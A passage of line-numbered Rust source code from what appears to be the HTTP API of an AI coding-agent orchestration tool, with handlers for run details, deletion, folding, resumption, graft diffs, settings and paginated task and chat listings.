4089#[derive(Debug, Serialize, PartialEq)]
4092struct FollowUpOrigin {
4093 parent: Option<FollowUpParent>,
4095 run: FollowUpRun,
4096 pr: String,
4101 findings: Vec<String>,
4102 generation: u32,
4103}
4104
4105fn followup_origin(
4108 fu: &crate::queue::FollowUp,
4109 task: impl Fn(&str) -> Option<Task>,
4110 run: impl Fn(&str) -> Option<RunState>,
4111) -> FollowUpOrigin {
4112 let parent = fu
4113 .origin_task
4114 .as_deref()
4115 .and_then(task)
4116 .map(|t| FollowUpParent {
4117 short: t.short().to_owned(),
4118 href: format!("#/tasks/{}", encode_segment(&t.id)),
4119 status: t.status.as_str(),
4120 title: t.title,
4121 id: t.id,
4122 });
4123 let state = run(&fu.run);
4124 FollowUpOrigin {
4125 parent,
4126 run: FollowUpRun {
4127 short: run::short_of(&fu.run).to_owned(),
4128 status: state.as_ref().map(|s| s.status.as_str()),
4129 href: state
4130 .is_some()
4131 .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
4132 id: fu.run.clone(),
4133 },
4134 pr: fu.pr.clone(),
4135 findings: fu.findings.clone(),
4136 generation: fu.generation,
4137 }
4138}
4139
4140#[derive(Debug, Serialize)]
4142struct RunBrief {
4143 id: String,
4144 short: String,
4145 status: Option<&'static str>,
4147 outcome: String,
4149 badge: Option<String>,
4151}
4152
4153fn task_outcome(
4156 task: &Task,
4157 this_run: &str,
4158 max_attempts: usize,
4159 read: impl Fn(&str) -> Option<RunState>,
4160) -> TaskRef {
4161 let max_attempts = task.effective_attempt_limit(max_attempts);
4162 let history = task_history(task, read);
4163 let brief = |h: &TaskRunView| RunBrief {
4164 id: h.id.clone(),
4165 short: h.short.clone(),
4166 status: h.status,
4167 outcome: h.exit.edge_label(h.status),
4168 badge: h.badge.clone(),
4169 };
4170 let is_latest = task.runs.last().is_none_or(|r| r == this_run);
4171 let latest = if is_latest {
4172 None
4173 } else {
4174 history.last().map(brief)
4175 };
4176 let done = task.status == TaskStatus::Done;
4177 let finished_by = done
4178 .then(|| {
4179 history
4180 .iter()
4181 .rev()
4182 .find(|h| {
4183 matches!(
4184 h.exit,
4185 RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
4186 )
4187 })
4188 .map(brief)
4189 })
4190 .flatten();
4191 TaskRef {
4192 short: task.short().to_owned(),
4193 title: task.title.clone(),
4194 id: task.id.clone(),
4195 source_label: task.source.label(),
4196 source_link: source_link(&task.source),
4197 status: task.status.as_str(),
4198 attempts: task.attempts,
4199 max_attempts,
4200 is_latest,
4201 latest,
4202 closed_by_hand: done && finished_by.is_none(),
4203 finished_by,
4204 }
4205}
4206
4207#[derive(Debug, Serialize)]
4209struct LatestAttempt {
4210 id: String,
4211 short: String,
4212 resolved: bool,
4223 status: RunStatus,
4226 done: bool,
4228}
4229
4230#[derive(Debug, Default, Serialize)]
4232struct RunProseMd {
4233 advice_md: Option<AdviceMd>,
4235 candidate_summaries_md: Vec<Vec<md::Node>>,
4237 reviews_md: Vec<RoundMd>,
4239}
4240
4241#[derive(Debug, Default, Serialize)]
4242struct AdviceMd {
4243 synthesis: Vec<md::Node>,
4244 approaches: Vec<Vec<md::Node>>,
4246}
4247
4248#[derive(Debug, Default, Serialize)]
4249struct RoundMd {
4250 reviewers: Vec<ReviewerMd>,
4252 reconsideration: Vec<Vec<md::Node>>,
4254 fix: Option<FixMd>,
4255}
4256
4257#[derive(Debug, Default, Serialize)]
4258struct ReviewerMd {
4259 summary: Vec<md::Node>,
4260 findings: Vec<Vec<md::Node>>,
4262}
4263
4264#[derive(Debug, Default, Serialize)]
4265struct FixMd {
4266 notes: Vec<md::Node>,
4267 rejected: Vec<Vec<md::Node>>,
4269}
4270
4271fn run_prose_md(state: &RunState) -> RunProseMd {
4273 let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
4274 RunProseMd {
4275 advice_md: state.advice.as_ref().map(|a| AdviceMd {
4276 synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
4277 approaches: a
4278 .records
4279 .iter()
4280 .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
4281 .collect(),
4282 }),
4283 candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
4284 reviews_md: state
4285 .reviews
4286 .iter()
4287 .map(|round| RoundMd {
4288 reviewers: round
4289 .reviews
4290 .iter()
4291 .map(|rec| ReviewerMd {
4292 summary: nodes(&rec.summary),
4293 findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
4294 })
4295 .collect(),
4296 reconsideration: round
4297 .reconsideration
4298 .iter()
4299 .map(|rv| nodes(&rv.reason))
4300 .collect(),
4301 fix: round.fix.as_ref().map(|fix| FixMd {
4302 notes: nodes(&fix.notes),
4303 rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
4304 }),
4305 })
4306 .collect(),
4307 }
4308}
4309
4310impl RunDetailView {
4311 fn of(
4312 state: RunState,
4313 waiting: bool,
4314 live: crate::run::Liveness,
4315 superseded_by: Option<String>,
4316 latest_attempt: Option<LatestAttempt>,
4317 task: Option<TaskRef>,
4318 ) -> Self {
4319 let display_status = run_display_status(&state, waiting, live);
4320 let stop_reason = crate::stop_reason::of(
4321 &state,
4322 latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
4323 );
4324 let badge_status = run_badge_status(&state, &display_status, live, superseded_by.is_some());
4325 Self {
4326 stop_reason,
4327 pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
4328 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
4329 prose_md: run_prose_md(&state),
4330 origin_label: crate::run::origin_label(state.origin.as_ref()),
4331 live,
4332 unmerged_by_design: state.unmerged_by_design(),
4333 waiting,
4334 display_status,
4335 badge_status,
4336 done: state.status.done(),
4337 superseded_by,
4338 latest_attempt,
4339 task,
4340 state,
4341 }
4342 }
4343}
4344
4345async fn run_core(
4347 State(ui): State<Arc<Ui>>,
4348 Path(id): Path<String>,
4349) -> ApiResult<Json<RunDetailView>> {
4350 blocking(move || {
4351 let id = resolve_run(&ui.runs, &id)?;
4352 let state = read_run(&ui.runs, &id)?;
4353 Ok(Json(RunDetailView::of(
4354 state,
4355 false,
4356 crate::run::Liveness::Unknown,
4357 None,
4358 None,
4359 None,
4360 )))
4361 })
4362 .await
4363}
4364
4365async fn run_detail(
4366 State(ui): State<Arc<Ui>>,
4367 Path(id): Path<String>,
4368) -> ApiResult<Json<RunDetailView>> {
4369 blocking(move || {
4370 let id = resolve_run(&ui.runs, &id)?;
4371 let state = read_run(&ui.runs, &id)?;
4372 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4373 let live = state.liveness(daemon_claims);
4374 crate::queue::record_ids(ui.questions.root(), "json")?;
4375 let waiting = ui
4376 .questions
4377 .list()
4378 .iter()
4379 .any(|q| q.run == id && q.status.open());
4380 let max_attempts = daemon::Opts::default().max_attempts;
4381
4382 let matching_task = ui.find_task_for_run(&id)?;
4383
4384 let superseded_by = state
4385 .pr_taken_over_by
4386 .clone()
4387 .or_else(|| {
4388 matching_task
4389 .as_ref()
4390 .and_then(|t| t.successor_of(&id).cloned())
4391 })
4392 .as_deref()
4393 .map(crate::run::short_of)
4394 .map(str::to_owned);
4395
4396 let latest_attempt = matching_task
4400 .as_ref()
4401 .and_then(|t| t.runs.last().filter(|last| **last != id).cloned())
4402 .and_then(|head_id| {
4403 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
4404 short: head.short().to_owned(),
4405 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
4406 status: head.status,
4407 done: head.status.done(),
4408 id: head.id,
4409 })
4410 });
4411
4412 let task = matching_task
4413 .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
4414
4415 Ok(Json(RunDetailView::of(
4416 state,
4417 waiting,
4418 live,
4419 superseded_by,
4420 latest_attempt,
4421 task,
4422 )))
4423 })
4424 .await
4425}
4426
4427async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4436 let (id, unreadable) = {
4437 let ui = Arc::clone(&ui);
4438 blocking(move || {
4439 let id = resolve_run(&ui.runs, &id)?;
4440 match read_run(&ui.runs, &id) {
4441 Ok(state) => {
4442 let in_flight =
4443 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4444 state
4445 .ensure_can_delete(in_flight)
4446 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4447 let dir = ui.runs.join(&id);
4448 std::fs::remove_dir_all(&dir)
4449 .with_context(|| format!("remove run directory {}", dir.display()))?;
4450 Ok((id, false))
4451 }
4452 Err(_) => {
4453 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4457 return Err(ApiError::conflict(format!(
4458 "run {id} is being worked on by a live daemon right now"
4459 )));
4460 }
4461 Ok((id, true))
4462 }
4463 }
4464 })
4465 .await?
4466 };
4467 if unreadable {
4468 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4469 .await
4470 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4471 }
4472 let ui = Arc::clone(&ui);
4473 let done = id.clone();
4474 blocking(move || {
4475 ui.questions.abandon_for_run(
4478 &done,
4479 &format!("run {done} was deleted, so nothing is waiting for this answer"),
4480 )?;
4481 Ok(())
4482 })
4483 .await?;
4484 Ok(StatusCode::NO_CONTENT)
4485}
4486
4487async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
4511 let (id, state) = {
4512 let ui = Arc::clone(&ui);
4513 blocking(move || {
4514 let id = resolve_run(&ui.runs, &id)?;
4515 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4516 return Err(ApiError::conflict(format!(
4517 "run {id} is being worked on by a live daemon right now"
4518 )));
4519 }
4520 let state = read_run(&ui.runs, &id).ok();
4521 Ok((id, state))
4522 })
4523 .await?
4524 };
4525 let removed = match state {
4526 Some(mut state) => {
4527 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4528 .await
4529 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4530 if removed.is_empty() {
4535 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
4536 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4537 }
4538 removed
4539 }
4540 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4541 .await
4542 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
4543 };
4544 Ok(Json(FoldView {
4545 run: id,
4546 removed_count: removed.len(),
4547 removed,
4548 }))
4549}
4550
4551#[derive(Debug, Serialize)]
4553struct FoldView {
4554 run: String,
4555 removed: Vec<String>,
4557 removed_count: usize,
4558}
4559
4560#[derive(Debug, Deserialize)]
4563struct FoldMergedBody {
4564 #[serde(default)]
4565 pr_url: String,
4566}
4567
4568async fn run_fold_merged(
4588 State(ui): State<Arc<Ui>>,
4589 Path(id): Path<String>,
4590 Json(body): Json<FoldMergedBody>,
4591) -> ApiResult<Json<FoldMergedView>> {
4592 let pr_url = body.pr_url.trim().to_owned();
4593 if pr_url.is_empty() {
4594 return Err(ApiError::bad_request("pr_url is required"));
4595 }
4596 let (id, mut state) = {
4597 let ui = Arc::clone(&ui);
4598 blocking(move || {
4599 let id = resolve_run(&ui.runs, &id)?;
4600 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4601 return Err(ApiError::conflict(format!(
4602 "run {id} is being worked on by a live daemon right now"
4603 )));
4604 }
4605 let state = read_run(&ui.runs, &id)?;
4606 Ok((id, state))
4607 })
4608 .await?
4609 };
4610 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
4611 .await
4612 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
4613 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4614 .await
4615 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4616 Ok(Json(FoldMergedView {
4617 run: id,
4618 before: before.as_str().to_owned(),
4619 after: after.as_str().to_owned(),
4620 removed,
4621 }))
4622}
4623
4624#[derive(Debug, Serialize)]
4626struct FoldMergedView {
4627 run: String,
4628 before: String,
4630 after: String,
4632 removed: Vec<String>,
4634}
4635
4636async fn run_resume(
4656 State(ui): State<Arc<Ui>>,
4657 Path(id): Path<String>,
4658) -> ApiResult<(StatusCode, Json<RunSummary>)> {
4659 let admission = ui.begin_admission()?;
4660 admitted(admission, async move {
4661 let (id, state) = {
4662 let ui = Arc::clone(&ui);
4663 blocking(move || {
4664 let id = resolve_run(&ui.runs, &id)?;
4665 let state = read_run(&ui.runs, &id)?;
4666 Ok((id, state))
4667 })
4668 .await?
4669 };
4670 crate::resume::validate_unqueued(&ui.home, &id)
4671 .map_err(|e| ApiError::conflict(e.to_string()))?;
4672 let _resume = ui.begin_resume(&id)?;
4673
4674 crate::resume::start(&ui.home, id.clone())
4675 .await
4676 .map_err(ApiError::from)?;
4677 let queued = RunSummary::of(
4680 &state,
4681 !ui.questions.open_for(&id).is_empty(),
4682 state.liveness(daemon::is_working_on(&ui.home, &id, Timestamp::now())),
4683 );
4684 Ok((StatusCode::ACCEPTED, Json(queued)))
4685 })
4686 .await
4687}
4688
4689async fn run_report(
4690 State(ui): State<Arc<Ui>>,
4691 Path(id): Path<String>,
4692) -> ApiResult<impl IntoResponse> {
4693 let text = blocking(move || {
4694 let id = resolve_run(&ui.runs, &id)?;
4695 let state = read_run(&ui.runs, &id)?;
4699 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4700 let live = state.liveness(daemon_claims);
4701 Ok(format!(
4702 "{}{}",
4703 report::run(&state),
4704 report::active_seats(&state, live)
4705 ))
4706 })
4707 .await?;
4708 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
4709}
4710
4711async fn run_report_json(
4715 State(ui): State<Arc<Ui>>,
4716 Path(id): Path<String>,
4717) -> ApiResult<Json<crate::report_view::RunReportView>> {
4718 let view = blocking(move || {
4719 let id = resolve_run(&ui.runs, &id)?;
4720 let state = read_run(&ui.runs, &id)?;
4721 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4722 let recovered = state.graft.as_ref().map(|_| {
4724 crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
4725 });
4726 Ok(crate::report_view::build_with(
4727 &state,
4728 state.liveness(daemon_claims),
4729 recovered.as_ref(),
4730 ))
4731 })
4732 .await?;
4733 Ok(Json(view))
4734}
4735
4736const GRAFT_DIFF_MAX: usize = 400 * 1024;
4738const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
4740
4741async fn run_graft_diff(
4744 State(ui): State<Arc<Ui>>,
4745 Path(id): Path<String>,
4746) -> ApiResult<impl IntoResponse> {
4747 let (repo, pre, post) = blocking(move || {
4748 let id = resolve_run(&ui.runs, &id)?;
4749 let state = read_run(&ui.runs, &id)?;
4750 let g = state
4751 .graft
4752 .as_ref()
4753 .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
4754 let post = g
4755 .post
4756 .clone()
4757 .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
4758 Ok((state.repo.clone(), g.pre.clone(), post))
4759 })
4760 .await?;
4761 let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
4762 if !hex(&pre) || !hex(&post) {
4763 return Err(ApiError::not_found("the recorded commits are not valid"));
4764 }
4765 let out = tokio::time::timeout(
4766 GRAFT_DIFF_TIMEOUT,
4767 crate::git::git_raw(
4768 &repo,
4769 &[
4770 "diff",
4771 "--no-color",
4772 "--no-ext-diff",
4773 "-M",
4774 &pre,
4775 &post,
4776 "--",
4777 ],
4778 ),
4779 )
4780 .await
4781 .map_err(|_| ApiError::not_found("git diff timed out"))?
4782 .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
4783 if out.code != Some(0) {
4784 return Err(ApiError::not_found(
4785 "the recorded commits are no longer in the repository",
4786 ));
4787 }
4788 let mut body = out.stdout;
4789 if body.len() > GRAFT_DIFF_MAX {
4790 let mut cut = GRAFT_DIFF_MAX;
4791 while !body.is_char_boundary(cut) {
4792 cut -= 1;
4793 }
4794 body.truncate(cut);
4795 body.push_str("\n... diff truncated ...");
4796 }
4797 Ok((
4798 [
4799 (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
4800 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4801 ],
4802 body,
4803 ))
4804}
4805
4806#[derive(Debug, Serialize)]
4812struct TaskView {
4813 #[serde(flatten)]
4814 task: Task,
4815 source_label: String,
4816 source_link: Option<SourceLink>,
4817 status_str: &'static str,
4818 instruction_md: Vec<md::Node>,
4822 waits_on: Vec<String>,
4826 stuck_roots: Vec<String>,
4829}
4830
4831impl From<Task> for TaskView {
4832 fn from(task: Task) -> Self {
4833 Self {
4834 source_label: task.source.label(),
4835 source_link: source_link(&task.source),
4836 status_str: task.status.as_str(),
4837 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
4838 waits_on: Vec::new(),
4839 stuck_roots: Vec::new(),
4840 task,
4841 }
4842 }
4843}
4844
4845impl TaskView {
4846 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
4847 let waits_on = inv.waits_on(&task);
4848 let stuck_roots = inv
4849 .stuck_roots(&task)
4850 .iter()
4851 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
4852 .collect();
4853 Self {
4854 waits_on,
4855 stuck_roots,
4856 ..Self::from(task)
4857 }
4858 }
4859}
4860
4861#[derive(Debug, Default, Deserialize)]
4864#[serde(default)]
4865struct ReposQuery {
4866 refresh: u8,
4867}
4868
4869async fn repos_list(
4876 State(ui): State<Arc<Ui>>,
4877 Query(q): Query<ReposQuery>,
4878) -> ApiResult<Json<Vec<repos::Repo>>> {
4879 let refresh = q.refresh != 0;
4880 blocking(move || {
4881 let (cfg, _) = Config::discover(&ui.repo, None)?;
4882 Ok(Json(ui.repos_cache.list(
4883 &cfg.repos.roots,
4884 Duration::from_secs(cfg.repos.scan_ttl),
4885 refresh,
4886 )))
4887 })
4888 .await
4889}
4890
4891#[derive(Debug, Default, Deserialize)]
4893struct SettingsQuery {
4894 repo: Option<PathBuf>,
4895}
4896
4897fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
4901 let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
4902 let paths: Vec<PathBuf> = ui
4903 .machine_config
4904 .iter()
4905 .filter(|p| p.is_file())
4906 .cloned()
4907 .collect();
4908 if paths.is_empty() {
4909 Ok(Config::autodetected())
4910 } else {
4911 Config::load_layers(&paths)
4912 }
4913 });
4914 let mut known = cfg
4915 .map(|cfg| {
4916 ui.repos_cache.list(
4917 &cfg.repos.roots,
4918 Duration::from_secs(cfg.repos.scan_ttl),
4919 refresh,
4920 )
4921 })
4922 .unwrap_or_default();
4923 let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
4924 if !known.iter().any(|r| r.path == path) {
4925 known.push(repos::Repo {
4926 name: path
4927 .file_name()
4928 .unwrap_or_default()
4929 .to_string_lossy()
4930 .into_owned(),
4931 path,
4932 });
4933 }
4934 known
4935}
4936
4937fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
4938 let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
4939 let canonical = requested.canonicalize().ok();
4940 let mut known = settings_repositories(ui, false);
4941 let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
4942 if !known.iter().any(matches) {
4943 known = settings_repositories(ui, true);
4944 }
4945 let repo = known
4946 .iter()
4947 .find(|r| matches(r))
4948 .map(|r| r.path.clone())
4949 .ok_or_else(|| ApiError {
4950 text_reason: None,
4951 status: StatusCode::UNPROCESSABLE_ENTITY,
4952 message: "Choose a known repository from the Settings selector.".to_owned(),
4953 })?;
4954 Ok((repo, known))
4955}
4956
4957async fn settings_get(
4961 State(ui): State<Arc<Ui>>,
4962 Query(q): Query<SettingsQuery>,
4963) -> ApiResult<Json<settings::SettingsView>> {
4964 blocking(move || {
4965 let (repo, known) = settings_context(&ui, q)?;
4966 Ok(Json(settings::view_with_repos(
4967 &repo,
4968 ui.machine_config.as_deref(),
4969 &known,
4970 )))
4971 })
4972 .await
4973}
4974
4975#[derive(Debug, Deserialize)]
4977#[serde(deny_unknown_fields)]
4978struct RolesBody {
4979 revision: String,
4981 #[serde(default)]
4983 roles: std::collections::BTreeMap<String, Vec<String>>,
4984 #[serde(default)]
4988 counts: std::collections::BTreeMap<String, serde_json::Value>,
4989}
4990
4991async fn settings_put_roles(
4997 State(ui): State<Arc<Ui>>,
4998 Query(q): Query<SettingsQuery>,
4999 body: std::result::Result<Json<RolesBody>, JsonRejection>,
5000) -> ApiResult<Json<settings::SettingsView>> {
5001 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5002 blocking(move || {
5003 let (repo, known) = settings_context(&ui, q)?;
5004 settings::save_with_repos(
5005 &repo,
5006 ui.machine_config.as_deref(),
5007 &body.revision,
5008 &body.roles,
5009 &body.counts,
5010 &known,
5011 )
5012 .map(Json)
5013 .map_err(|e| match e {
5014 settings::SaveError::Conflict(m) => ApiError::conflict(m),
5015 settings::SaveError::Refused(m) => ApiError {
5016 text_reason: None,
5017 status: StatusCode::UNPROCESSABLE_ENTITY,
5018 message: m,
5019 },
5020 settings::SaveError::Internal(m) => ApiError::internal(m),
5021 })
5022 })
5023 .await
5024}
5025
5026async fn queue_list(
5027 State(ui): State<Arc<Ui>>,
5028 Query(q): Query<ListQuery>,
5029) -> ApiResult<Json<Vec<TaskView>>> {
5030 blocking(move || {
5031 let tasks = ui.queue.list();
5032 let inv =
5033 crate::blockers::Inventory::load_with_tasks(&ui.queue, &ui.questions, tasks.clone());
5034 Ok(Json(
5035 tasks
5036 .into_iter()
5037 .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
5038 .map(|t| TaskView::with_inventory(t, &inv))
5039 .collect(),
5040 ))
5041 })
5042 .await
5043}
5044
5045#[derive(Debug, Default, Deserialize)]
5050struct PageQuery {
5051 before: Option<String>,
5052}
5053
5054#[derive(Serialize)]
5055struct StorePage<T> {
5056 rows: Vec<T>,
5057 next: Option<String>,
5058}
5059
5060const STORE_PAGE_SIZE: usize = 16;
5061
5062#[derive(Debug)]
5066struct ListWalk {
5067 token: u64,
5068 talks: bool,
5069 opened: std::time::Instant,
5070 ids: Arc<Vec<String>>,
5071}
5072
5073fn page_ids(ui: &Ui, talks: bool, q: PageQuery) -> ApiResult<(Vec<String>, Option<String>)> {
5074 let mut walks = ui
5075 .monitor
5076 .list_walks
5077 .lock()
5078 .unwrap_or_else(PoisonError::into_inner);
5079 walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
5080 let (token, ids, offset) = if let Some(cursor) = q.before {
5081 let (token, offset) = cursor
5082 .split_once(':')
5083 .ok_or_else(|| ApiError::bad_request("Invalid list cursor"))?;
5084 let token = token
5085 .parse::<u64>()
5086 .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5087 let offset = offset
5088 .parse::<usize>()
5089 .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5090 let walk = walks
5091 .iter()
5092 .find(|walk| walk.token == token && walk.talks == talks)
5093 .ok_or_else(|| ApiError::conflict("List cursor expired; retry the list"))?;
5094 (token, walk.ids.clone(), offset)
5095 } else {
5096 let root = if talks {
5097 ui.talks.root()
5098 } else {
5099 ui.queue.root()
5100 };
5101 let mut ids = crate::queue::record_ids(root, "json")?;
5102 ids.sort_unstable_by(|a, b| b.cmp(a));
5103 let ids = Arc::new(ids);
5104 let mut token = crate::rng::entropy();
5105 while walks.iter().any(|walk| walk.token == token) {
5106 token = crate::rng::entropy();
5107 }
5108 if walks.len() >= 16 {
5111 walks.remove(0);
5112 }
5113 walks.push(ListWalk {
5114 token,
5115 talks,
5116 opened: std::time::Instant::now(),
5117 ids: ids.clone(),
5118 });
5119 (token, ids, 0)
5120 };
5121 if offset > ids.len() {
5122 return Err(ApiError::bad_request("Invalid list cursor"));
5123 }
5124 let end = offset.saturating_add(STORE_PAGE_SIZE).min(ids.len());
5125 let next = (end < ids.len()).then(|| format!("{token}:{end}"));
5126 Ok((ids[offset..end].to_vec(), next))
5127}
5128
5129async fn queue_page(
5130 State(ui): State<Arc<Ui>>,
5131 Query(q): Query<PageQuery>,
5132) -> ApiResult<Json<StorePage<TaskView>>> {
5133 blocking(move || {
5134 let (ids, next) = page_ids(&ui, false, q)?;
5135 let tasks: Vec<_> = ids
5136 .into_iter()
5137 .filter_map(|id| ui.queue.get(&id).ok())
5138 .collect();
5139 let inv = crate::blockers::Inventory::load_for_tasks(&ui.queue, &ui.questions, &tasks);
5140 let rows = tasks
5141 .into_iter()
5142 .map(|task| TaskView::with_inventory(task, &inv))
5143 .collect();
5144 Ok(Json(StorePage { rows, next }))
5145 })
5146 .await
5147}
5148
5149#[derive(Debug, Clone, Serialize)]
5152struct TalkListView {
5153 title: Option<talk::ChatTitle>,
5154 id: String,
5155 repo: PathBuf,
5156 agent: String,
5157 status: talk::TalkStatus,
5158 turns: Vec<TalkListTurn>,
5159 turn_count: usize,
5160 unread_count: usize,
5161 context: talk::ContextUsage,
5162 #[serde(skip)]
5163 agent_times: Vec<Timestamp>,
5164 thinking: bool,
5165 created_at: Timestamp,
5166 updated_at: Timestamp,
5167}
5168
5169#[derive(Debug, Clone, Serialize)]
5170struct TalkListTurn {
5171 who: talk::Who,
5172 at: Timestamp,
5173 body: String,
5174}
5175
5176fn talk_rows(ui: &Ui, ids: Vec<String>, headers: &header::HeaderMap) -> Vec<TalkListView> {
5177 let reads: HashMap<String, Timestamp> = headers
5178 .get("x-talk-reads")
5179 .and_then(|v| v.to_str().ok())
5180 .and_then(|v| serde_json::from_str(v).ok())
5181 .unwrap_or_default();
5182 let mut index = ui
5183 .monitor
5184 .talk_index
5185 .lock()
5186 .unwrap_or_else(PoisonError::into_inner);
5187 if index.len() > 1000 {
5189 index.clear();
5190 }
5191 ids.into_iter()
5192 .filter_map(|id| {
5193 let identity = file_identity(&ui.talks.path_of(&id)).ok()?;
5194 if index.get(&id).is_none_or(|(old, _)| *old != identity) {
5195 let talk = ui.talks.get(&id).ok()?;
5196 #[cfg(test)]
5197 ui.monitor
5198 .talk_parses
5199 .fetch_add(1, std::sync::atomic::Ordering::Relaxed);
5200 let first = talk.turns.iter().position(|t| t.who == talk::Who::Operator);
5201 let last = talk.turns.len().checked_sub(1);
5202 let turns = talk
5203 .turns
5204 .iter()
5205 .enumerate()
5206 .filter(|(i, _)| Some(*i) == first || Some(*i) == last)
5207 .map(|(_, t)| TalkListTurn {
5208 who: t.who,
5209 at: t.at,
5210 body: t
5211 .body
5212 .lines()
5213 .next()
5214 .unwrap_or_default()
5215 .chars()
5216 .take(240)
5217 .collect(),
5218 })
5219 .collect();
5220 let row = TalkListView {
5221 title: talk.title.clone(),
5222 agent_times: talk
5223 .turns
5224 .iter()
5225 .filter(|t| t.who == talk::Who::Agent)
5226 .map(|t| t.at)
5227 .collect(),
5228 turn_count: talk.turns.len(),
5229 unread_count: 0,
5230 context: talk::context_usage(&talk, None),
5231 turns,
5232 thinking: false,
5233 id: talk.id,
5234 repo: talk.repo,
5235 agent: talk.agent,
5236 status: talk.status,
5237 created_at: talk.created_at,
5238 updated_at: talk.updated_at,
5239 };
5240 index.insert(id.clone(), (identity, row));
5241 }
5242 let row = &index.get(&id)?.1;
5243 let mut row = TalkListView {
5244 title: row.title.clone(),
5245 unread_count: row
5246 .agent_times
5247 .iter()
5248 .filter(|at| reads.get(&id).is_none_or(|read| *at > read))
5249 .count(),
5250 agent_times: Vec::new(),
5251 id: row.id.clone(),
5252 repo: row.repo.clone(),
5253 agent: row.agent.clone(),
5254 status: row.status,
5255 context: row.context.clone(),
5256 turns: row.turns.clone(),
5257 turn_count: row.turn_count,
5258 thinking: false,
5259 created_at: row.created_at,
5260 updated_at: row.updated_at,
5261 };
5262 row.thinking = ui.is_thinking(&id);
5263 Some(row)
5264 })
5265 .collect()
5266}
5267
5268async fn talks_page(
5269 State(ui): State<Arc<Ui>>,
5270 Query(q): Query<PageQuery>,
5271 headers: header::HeaderMap,
5272) -> ApiResult<Json<StorePage<TalkListView>>> {
5273 bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
5274 let (ids, next) = page_ids(&ui, true, q)?;
5275 Ok(Json(StorePage {
5276 rows: talk_rows(&ui, ids, &headers),
5277 next,
5278 }))
5279 })
5280 .await
5281}
5282
5283async fn stats_queue(State(ui): State<Arc<Ui>>) -> ApiResult<Json<TaskCountsView>> {
5284 blocking(move || {
5285 let tasks = ui.indexed_tasks()?;
5286 Ok(Json(TaskCountsView::from(
5287 crate::queue::TaskCounts::of_statuses(tasks.iter().filter_map(|task| task.status)),
5288 )))
5289 })
5290 .await
5291}
5292
5293const SEARCH_MAX_HITS: usize = 100;
5295const SEARCH_MAX_QUERY: usize = 200;
5297const SEARCH_MAX_TERMS: usize = 8;
5298const SNIPPET_BEFORE: usize = 50;
5300const SNIPPET_AFTER: usize = 110;
5301
5302#[derive(Debug, Deserialize)]
5304struct SearchQuery {
5305 #[serde(default)]
5306 scope: String,
5307 #[serde(default)]
5308 q: String,
5309}
5310
5311#[derive(Debug, Serialize, PartialEq, Eq)]
5314struct SnippetPart {
5315 text: String,
5316 hit: bool,
5317}
5318
5319#[derive(Debug, Serialize)]
5320struct SearchHit {
